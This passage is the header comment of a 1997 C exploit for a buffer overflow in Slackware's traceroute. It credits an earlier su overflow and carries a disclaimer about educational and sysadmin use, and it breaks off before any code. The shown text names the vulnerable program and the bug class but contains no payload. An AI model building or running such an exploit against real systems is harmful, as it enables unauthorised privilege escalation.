/*
  SLACKWARE Traceroute Buffer OverFlow -- (c) shit-head ([e-mail]) 1997
  Created: 8/15/97

  Give thanks to Solar Designer for his su overflow, this is based
  on that peice of work.

  This is for educational purposes only, in no way am I responsible
  for what you do with this.  This should be used by sys admins, or
  people who have permission of the admin to run it to see if this
  hole can exist on their system.  If you use it for the wrong reasons
  then I say *tisk* on you.  I will not be held responsible for your
  actions.

  This could be done with a generic overflow program, but just
  running this is easier.

  USAGE OF THIS DOES NOT GIVE YOU TECH SUPPORT SO DON'T
  MESSAGE ANYBODY ON IRC ABOUT THIS.
